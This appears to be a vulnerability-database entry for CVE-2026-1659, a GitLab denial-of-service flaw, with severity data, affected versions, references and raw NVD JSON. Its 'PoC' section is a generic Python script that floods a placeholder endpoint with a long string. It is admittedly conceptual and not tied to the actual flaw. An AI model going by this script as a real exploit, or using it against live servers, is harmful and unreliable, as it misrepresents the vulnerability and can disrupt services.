CVE-2026-1659

Description

GitLab has remediated an issue in GitLab CE/EE affecting all versions from 9.0 before 18.9.7, 18.10 before 18.10.6, and 18.11 before 18.11.3 that could have allowed an unauthenticated user to cause denial of service by sending specially crafted requests due to insufficient input validation.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

GitLab CE/EE >= 9.0, < 18.9.7

GitLab CE/EE >= 18.10, < 18.10.6

GitLab CE/EE >= 18.11, < 18.11.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# PoC for CVE-2026-1659: GitLab DoS via Insufficient Input Validation
# Note: This is a conceptual example for testing purposes only.

def send_malicious_request(target_url):
    # Craft a payload designed to trigger the validation lack
    # Actual payload might depend on the specific endpoint vulnerable
    payload = {'data': 'A' * 10000} 
    
    try:
        print(f"Sending request to {target_url}...")
        response = requests.post(target_url, data=payload, timeout=5)
        print(f"Response Code: {response.status_code}")
    except requests.exceptions.Timeout:
        print("Request timed out - Possible DoS condition triggered.")
    except Exception as e:
        print(f"An error occurred: {e}")

if __name__ == "__main__":
    # Replace with the actual target endpoint
    target = "http://localhost:8080/api/v4/endpoint"
    send_malicious_request(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-1659
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-1659
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-1659/
[4] VulDB https://vuldb.com/cve/CVE-2026-1659
[5] https://about.gitlab.com/releases/2026/05/13/patch-release-gitlab-18-11-3-released/
[6] https://gitlab.com/gitlab-org/gitlab/-/work_items/588201
[7] https://hackerone.com/reports/3519824

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-1659", "sourceIdentifier": "[email protected]", "published": "2026-05-14T06:16:21.667", "lastModified": "2026-05-14T16:20:43.240", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 9.0 before 18.9.7, 18.10 before 18.10.6, and 18.11 before 18.11.3 that could have allowed an unauthenticated user to cause denial of service by sending specially crafted requests due to insufficient input validation."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}]}], "references": [{"url": "https://about.gitlab.com/releases/2026/05/13/patch-release-gitlab-18-11-3-released/", "source": "[email protected]"}, {"url": "https://gitlab.com/gitlab-org/gitlab/-/work_items/588201", "source": "[email protected]"}, {"url": "https://hackerone.com/reports/3519824", "source": "[email protected]"}]}}